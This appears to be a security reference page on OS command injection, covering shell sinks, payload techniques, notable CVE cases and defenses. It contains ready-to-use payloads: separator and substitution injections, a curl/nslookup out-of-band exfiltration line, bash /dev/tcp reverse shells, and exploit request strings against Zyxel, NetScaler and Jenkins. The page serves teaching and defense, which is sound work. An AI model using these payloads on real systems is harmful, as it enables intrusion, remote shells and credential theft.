Command Injection

User input flows into a string that is handed to a shell, so the attacker uses shell metacharacters to break out of the intended command and run their own (CWE-78).

How it works

The sink is any call that evaluates a string through a shell: /bin/sh -c, PHP system()/exec()/backticks, Perl backticks, Ruby Kernel#`, Node child_process.exec, Python os.system/subprocess(..., shell=True), Java Runtime.getRuntime().exec("sh -c "+x). Because a shell parses the string, these characters are live:

;  &&  ||  |  `cmd`  $(cmd)  &  \n  %0a

Contrast with Argument Injection, where there is no shell and the attacker instead smuggles a flag into argv. If you control a parameter but metacharacters are stripped or there is no shell, pivot to argument injection rather than giving up.

Techniques / payloads

  • Separators: ; id, | id, || id, && id, newline (%0a id).
  • Substitution (works inside quotes, no leading separator needed): $(id), `id`.
  • Blind / no output — prove execution out of band or by timing before anything else:
    • Timing: ;sleep 10, $(sleep 80) and watch response latency.
    • OOB: ;curl http://<collab>/$(whoami) / nslookup $(whoami).<collab> — see Out-of-Band Detection.
  • Space-restricted input: use ${IFS} — e.g. Gogs PoC --exec=touch${IFS}/tmp/rce_proof.
  • Reverse shell: bash -c "bash -i >& /dev/tcp/10.9.49.196/1270 0>&1", catch with nc -lvnp.
  • Living off the land: when only “safe” binaries run, a GTFOBin flag still executes (find -exec, tar --checkpoint-action, awk 'BEGIN{system(...)}'). See GTFOBins.

Notable cases

  • Citrix NetScaler CVE-2026-88771 (CVSS 9.5, pre-auth, exploited in the wild, default config). A Perl log-recovery script interpolates a crashed packet-engine name taken from an attacker-influenceable log line into a backtick find command. Injecting NSPPE-00;id>/tmp/watchTowr;-X yields find /var/core -name NSPPE-00;id>/tmp/watchTowr;-X* ... — runs as root, since nearly everything on NetScaler is root.
  • Zyxel export-cgi CVE-2026-6837 (CWE-78, 18 AP models). The PKCS#12 export password reaches a system() call. GET /cgi-bin/export-cgi?category=pkcs12&arg0=cert&arg1=x";id;echo COMMAND_INJECTION_CONFIRMED;# returns uid=0(root) in-band.
  • Jenkins Git Parameter CVE-2025-53652. Unvalidated git parameter flows into git rev-parse/git fetch; $(sleep 80) hangs the build, $(bash -c "bash &>/dev/tcp/.../1270 <&1") gives a reverse shell. Needs build name, session cookie and Jenkins-Crumb.
  • TeamCity On-Premises CVE-2026-63077 (CVSS 9.8). Unauthenticated OS command execution via the agent polling protocol, bypassing auth checks; runs as the TeamCity server user.
  • MetaSpore GHSL-2025-035. String.format("aws s3 sync --delete %s %s", s3Path, target) with unsanitized s3Path — s3://x/ --endpoint-url http://artsploit.com/ reroutes the request to leak the AWS token (argument-injection flavor inside a command-injection sink).

Defenses

  • Never build a shell string from input. Use argument-vector APIs: execve/posix_spawn, Python subprocess.run([...], shell=False), Node execFile, Java ProcessBuilder with a token list.
  • If a shell is unavoidable, strict allowlist the value (e.g. ^[a-zA-Z0-9._-]+$) — never a denylist of metacharacters.
  • Drop privileges; a root-running CGI (NetScaler, Zyxel) turns any injection into full compromise.

Sources